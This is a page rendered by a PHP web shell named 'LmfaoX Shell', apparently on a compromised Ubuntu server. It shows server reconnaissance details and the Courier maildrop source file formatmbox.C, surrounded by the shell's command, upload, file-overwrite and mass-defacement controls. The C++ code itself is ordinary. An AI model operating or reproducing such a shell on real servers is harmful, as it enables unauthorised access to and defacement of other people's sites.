ShellBanner
System:Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686
Software:Apache. PHP/5.3.6-13ubuntu3.10
ID:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
Safe Mode:OFF
Open_Basedir:OFF
Freespace:25.59 GB of 70.42 GB (36.34%)
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,

/ usr/ src/ courier-0.66.1/ maildrop/ - drwxrwxrwx

Directory:
Viewing file:     formatmbox.C (3.08 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#include    "formatmbox.h"
#include    "message.h"
#include    "messageinfo.h"
#include    "mio.h"
#include    "maildrop.h"
#include    "xconfig.h"
#include    "config.h"
#if HAVE_SYS_STAT_H
#include    <sys/stat.h>
#endif
#include    "mytime.h"
#include    <ctype.h>


int    FormatMbox::HasMsg()
{
    maildrop.msgptr->Rewind();
    msglinebuf.reset();
    if (maildrop.msgptr->appendline(msglinebuf,0) < 0)    return (-1);
                    // Empty message, do not deliver.

    return (0);
}

void    FormatMbox::Init(int flag)
{
    hdrfrom="";
    hdrsubject="";
    msgsize=0;
    inheader=1;

    do_escape=flag;
    next_func= &FormatMbox::GetLineBuffer;
    if (do_escape)
        next_func= &FormatMbox::GetFromLine;
}

Buffer    *FormatMbox::GetFromLine(void)
{
time_t    tm;

    time(&tm);

    tempbuf="From ";
    tempbuf += maildrop.msginfo.fromname;
    tempbuf += ' ';

const char *p=ctime(&tm);
    while (*p && *p != '\n')
    {
        tempbuf.push(*p);
        ++p;
    }
#if    CRLF_TERM
    tempbuf.push('\r');
#endif
    tempbuf.push('\n');
    next_func= &FormatMbox::GetLineBuffer;
    return (&tempbuf);
}

Buffer    *FormatMbox::GetLineBuffer(void)
{
    if (!(const char *)msglinebuf)    return (0);

    if (do_escape)
    {
    const char *p=msglinebuf;
    int    l=msglinebuf.Length();

        while (l && *p == '>')    p++, l--;
        if (l >= 5 &&
            *p == 'F' && p[1] == 'r' && p[2] == 'o'
                && p[3] == 'm' && p[4] == ' ')
        {
            tempbuf=">";
            tempbuf += msglinebuf;
            msglinebuf=tempbuf;
        }
    }
    if (inheader && *(const char *)msglinebuf == '\n')
        inheader=0;
    if (inheader)
    {
    const char *p=msglinebuf;
    Buffer    *bufp=0;

        while (*p != '\n' && isspace(*p))    p++;
        if ( tolower(*p) == 'f' && tolower(p[1]) == 'r' &&
            tolower(p[2]) == 'o' && tolower(p[3]) == 'm' &&
            p[4] == ':')
        {
            p += 5;
            bufp= &hdrfrom;
        }
        else if ( tolower(*p) == 's' && tolower(p[1]) == 'u' &&
            tolower(p[2]) == 'b' && tolower(p[3]) == 'j' &&
            tolower(p[4]) == 'e' && tolower(p[5]) == 'c' &&
            tolower(p[6]) == 't' && p[7] == ':')
        {
            p += 8;
            bufp= &hdrsubject;
        }
        if (bufp)
        {
        int    l;

            while (*p != '\n' && isspace(*p))    p++;
            for (l=0; p[l] != '\n'; l++)
                ;
            bufp->append(p, l);
        }
    }

#if    CRLF_TERM
    msglinebuf.pop();    // Drop terminating \n
    msglinebuf.push('\r');
    msglinebuf.push('\n');
#endif
    next_func= &FormatMbox::GetNextLineBuffer;
    msgsize += msglinebuf.Length();
    return (&msglinebuf);
}

Buffer    *FormatMbox::GetNextLineBuffer(void)
{
    msglinebuf.reset();
    if (maildrop.msgptr->appendline(msglinebuf,0) == 0)
        return (GetLineBuffer());
    return (0);    // END OF FILE
}

int    FormatMbox::DeliverTo(class Mio &mio)
{
Buffer    *bufptr;

    while ((bufptr=NextLine()) != NULL)
    {
        if (mio.write((const char *)*bufptr, bufptr->Length()) < 0)
        {
write_error:
            merr << "maildrop: error writing to mailbox.\n";
            mio.Close();
            return (-1);
        }
    }

    if (do_escape && mio.write(
#if    CRLF_TERM
            "\r\n", 2
#else
            "\n", 1
#endif
            ) < 0)
            goto write_error;

    if (mio.flush() < 0)
        goto write_error;

    if (fsync(mio.fd()) < 0)
    {
    struct    stat    stat_buf;

        // fsync() failure on a regular file means trouble.

        if (fstat(mio.fd(), &stat_buf) == 0 &&
            S_ISREG(stat_buf.st_mode))
            goto write_error;
    }

    mio.Close();
    if (mio.errflag())    return (-1);
    return (0);
}
Command:
Quick Commands:
Upload:
[OK] Max size: 100MB
PHP Filesystem: <@ Ú
Search File:
regexp
Create File:
Overwrite [OK]
View File:
Mass Defacement:
[+] Main Directory: [+] Defacement Url:
LmfaoX Shell - Private Build [BETA] - v0.1 -; Generated: 0.2564 seconds